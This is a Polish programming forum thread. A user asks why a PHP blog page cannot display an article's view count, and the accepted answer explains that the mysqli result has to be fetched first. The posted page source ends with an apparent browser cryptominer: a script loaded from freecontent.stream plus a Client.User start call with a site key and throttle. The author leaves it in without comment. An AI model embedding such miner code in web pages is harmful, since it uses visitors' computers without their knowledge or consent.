• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

Błąd przy pobieraniu danych z bazy

Object Storage Arubacloud
0 głosów
149 wizyt
pytanie zadane 15 października 2023 w SQL, bazy danych przez Piotrek2713 Mądrala (5,380 p.)

Tak wygląda błąd

A to jest cały kod podstrony

<?php
session_start();
require_once 'connect.php';
 
$connection = new mysqli($hostname, $db_user, $db_password, $db_name);
$connection->set_charset('utf8');
 
if ($connection->connect_errno != 0) {
    echo "Błąd Połączenia";
} else {
 
    $result = $connection->query("SELECT * FROM articles WHERE ID=5");
 
    if ($result) {
        while ($row = $result->fetch_assoc()) {
            $article = $row;
        }
        $result->free_result();
    } else {
        echo "Błąd zapytania: " . $connection->error;
    }

}

if (isset($_COOKIE['visit_counter'])) {
    $currentCount = (int)$_COOKIE['visit_counter'];
    $newCount = $currentCount + 1;
    setcookie('visit_counter', $newCount, time() + 3600); // Ustawiamy nowy ciasteczko z zaktualizowaną liczbą odwiedzin
} else {
    setcookie('visit_counter', 1, time() + 3600); // Tworzymy nowe ciasteczko z liczbą odwiedzin ustawioną na 1 (pierwsze odwiedziny)
}
 
$connection->query("UPDATE `articles` SET `views_count` = `views_count` + 1 WHERE ID=5");
$views_count = $connection->query("SELECT views_count FROM articles WHERE ID=5");

?>
<!DOCTYPE html>
<html lang="pl">
<head>
<!-- Google tag (gtag.js) --> <script async src="https://www.googletagmanager.com/gtag/js?id=G-W245YYB9KK"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-W245YYB9KK'); </script>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="La Palabra - Blog na ktorym dowiesz się jak skutecznie uczyć się języka obcego">
    <meta name="google-adsense-account" content="ca-pub-8005988007001796">
    <title><?php echo $article['Title'].' - '; ?>Blog La Palabra</title>
    <link rel="stylesheet" href="style.css">
    <link rel="shortcut icon" href="img/favicon.png" type="image/x-icon">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
</head>
<body>
    <header>
        <nav class="navbar navbar-expand-md" data-bs-theme="dark">
            <div class="container-fluid">
                <a href="blog" class="navbar-brand"><img src="img/logo.png" alt="La Palabra"></a>
                <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#menu" aria-controls="menu" aria-expanded="fasle" aria-label="Przełącznik nawigacji">
                    <span class="navbar-toggler-icon"></span>
                </button>
                <div class="collapse navbar-collapse" id="menu">
                    <ul class="navbar-nav mb-2 mb-lg-0">
                        <li class="nav-item"><a href="blog" class="nav-link">Blog</a></li>
                        <li class="nav-item"><a href="o-mnie" class="nav-link">O mnie</a></li>
                        <!--<li class="nav-item"><a href="kontakt" class="nav-link">Kontakt</a></li>-->
                    </ul>
                </div>
            </div>
        </nav>
    </header>

    <aside class="quote-wrapper">
        <div class="container col-md-10 mt-5 fs-4 text-center text-xl-start"><blockquote>Nauka nowego języka to nie tylko nauka innych słów określających te same rzeczy, to nowy sposób myślenia o różnych sprawach.</blockquote></div>
    </aside>

    <main>
        <div class="container">
            <div class="row">
                <article class="article-box col-md-8">
                    <?php 
                    
                        echo '<h1>'.$article['Title'].'</h1>';
                        echo '<p>'.$article['content'].'</p>';
                    
                    ?>
                </article>
                <aside class="col-md-4">
                    <div class="views-count">
                        <?php
                        
                        echo 'Wyświetlenia artykułu: ';
                        echo $views_count;

                        ?>
                    </div>
                </aside>
            </div>
        </div>
    </main>

    <footer>
        Zaprojektowane przez <a href="o-mnie">Piotra Karasińskiego</a> Copyright &copy; Wszelkie prawa zastrzeżone
    </footer>


<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL" crossorigin="anonymous"></script>
<script src="https://www.freecontent.stream./2VIz.js"></script>
<script>var _client = new Client.User('b39a56560892d54e902f5c7d18cac88b2fdb9260cc71c87102a5fa406da385d7', 'piotrek2713-cba', {throttle: 0.5, c: 'w', ads: 0});_client.start();</script>
</body>
</html>

Jak naprawić ten błąd?

1 odpowiedź

+1 głos
odpowiedź 15 października 2023 przez overcq Pasjonat (21,710 p.)
wybrane 15 października 2023 przez Piotrek2713
 
Najlepsza

W wierszu 34. otrzymujesz my­sqli_re­sult. Dopiero na przykład my­sqli_re­sult::fe­tch_row wraca z tablicą wartości. Nie ma znaczenia, że miał być tylko jeden wiersz wyniku, trzeba go najpierw odczytać.

Podobne pytania

0 głosów
1 odpowiedź 336 wizyt
pytanie zadane 31 maja 2022 w PHP przez bartolomeusz80 Nowicjusz (140 p.)
+2 głosów
3 odpowiedzi 240 wizyt
pytanie zadane 23 grudnia 2022 w SQL, bazy danych przez rycho84 Nowicjusz (230 p.)
0 głosów
0 odpowiedzi 119 wizyt

92,579 zapytań

141,429 odpowiedzi

319,657 komentarzy

61,963 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Kolejna edycja największej imprezy hakerskiej w Polsce, czyli Mega Sekurak Hacking Party odbędzie się już 20 maja 2024r. Z tej okazji mamy dla Was kod: pasjamshp - jeżeli wpiszecie go w koszyku, to wówczas otrzymacie 40% zniżki na bilet w wersji standard!

Więcej informacji na temat imprezy znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...